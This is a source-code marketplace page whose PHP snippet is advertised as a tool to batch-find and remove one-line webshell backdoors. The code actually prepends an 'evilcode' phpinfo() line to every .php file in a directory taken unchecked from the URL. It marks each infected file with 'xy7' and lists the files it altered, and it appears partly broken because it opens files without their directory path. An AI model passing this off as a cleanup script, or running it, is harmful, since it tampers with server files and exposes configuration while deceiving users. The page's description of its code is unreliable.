源码网商城,靠谱的源码在线交易网站 我的订单 购物车 帮助

源码网商城

用php实现批量查询清除一句话后门的代码

  • 时间:2020-01-14 07:53 编辑: 来源: 阅读:
  • 扫一扫,手机访问
摘要:用php实现批量查询清除一句话后门的代码
总是忘记一句话放到哪个文件里去了,直接全部干掉...
[u]复制代码[/u] 代码如下:
<?//xy7  if (!isset($dir) or empty($dir)) {  $dir=str_replace('\\','/',dirname(__FILE__));  echo "<font color=\"#00688B\">".$dir."</font>";  } else {  $dir=$_GET['dir'];  echo "<font color=\"#00688B\">".$dir."</font>";  }  $evilcode="<?phpinfo();//xy7?>";  $testdir = opendir($dir);  while($filea = @readdir($testdir)){  if(strstr($filea, '.php')){  $fp = @fopen($filea, 'r+');  if (!strstr(@fread($fp, 20), 'xy7')){  rewind($fp);  $old = @fread($fp, filesize($filea));  rewind($fp);  fwrite($fp, $evilcode . $old);  }  fclose($fp);  }  }  closedir($testdir);  ?>  <hr>  <table width="100%" border="0" cellpadding="3" cellspacing="1">  <tr>  <td><b>被X的文件</b></td>  <td><b>时间</b></td>  <td><b>大小</b></td>  </tr>  <?php  $dirs=@opendir($dir);  while ($file=@readdir($dirs)) {  if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  {$b="$dir/$file";  $a=@is_dir($b);  if($a=="0"){  $size=@filesize("$dir/$file");  $lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  echo "<tr>\n";  echo "<td>$file</td>\n";  echo " <td>$lastsave</td>\n";  echo " <td>$size Bytes</td>\n";  }  }  }  @closedir($dirs);  ?>  </table> 
codz by xuanmumu 
  • 全部评论(0)
联系客服
客服电话:
400-000-3129
微信版

扫一扫进微信版
返回顶部